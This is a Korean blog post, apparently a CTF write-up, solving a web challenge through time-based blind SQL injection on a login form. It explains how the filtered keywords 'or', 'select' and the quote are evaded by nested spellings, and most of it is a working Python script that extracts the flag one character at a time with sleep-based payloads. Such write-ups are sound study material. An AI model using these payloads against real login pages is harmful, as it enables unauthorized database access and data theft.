로그인 창 하나 나오는데 대충 Time Based로 구해주면 된다.


근데 입력 값 중에 몇몇 키워들이 replace 처리되고 replace로 구문이 잘못되도 딱히 에러 뿌려주고 뭐가 필터됬다 이런거 안알려줘서 조금 성가시다. 대충 replace되는 애들 테스트해서 구해보면 핵심 키워드 및 특문은 or,select,' 이다. 


요고만 잘 replace우회해서 디비에 있는 플래그 읽어주면 된다.


payload


import requests

import time


def getFlag(payload):

    time.sleep(1)

    start = time.time()

    url = "http://blackfoxs.org/radar/inj3c7/"

    data = {'pass': payload}

    response = requests.post(url, data=data)

    end = time.time()

    return end-start


strings = "_abcdefghijklmnopqrstuvwxyz0123456789}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

if __name__ == "__main__":

    flag = ""

    for j in range(0, 100):

        binary = ""

        for i in range(0,len(strings)):

            #payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect length(table_name) from infoselectrmation_schema.tables where table_schema=database() limit 0,1) ," + str(j) + ",1))=" + str(ord(strings[i])) + ",sleep(4),1)#"

            payload = "999999999999999 or 1=1 and if(ascii(substring( (selselectect flag from flag limit 0,1) ,"+str(j)+",1))="+str(ord(strings[i]))+",sleep(4),1)#"

            if getFlag(payload) > 3:

                flag += strings[i]

                print flag

                break

        print "[-]Flag Password = " + flag



'CTF > Writeup' 카테고리의 다른 글

CBM CTF 2019 Writeup  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Encrypt CTF 2019 Write up  (0) 2019.04.05
Codegate 2019 Open CTF Reversing Write up  (2) 2019.04.02
b00t2root CTF 2019 Web Writeup  (0) 2019.03.31
블로그 이미지

JeonYoungSin

메모 기록용 공간

,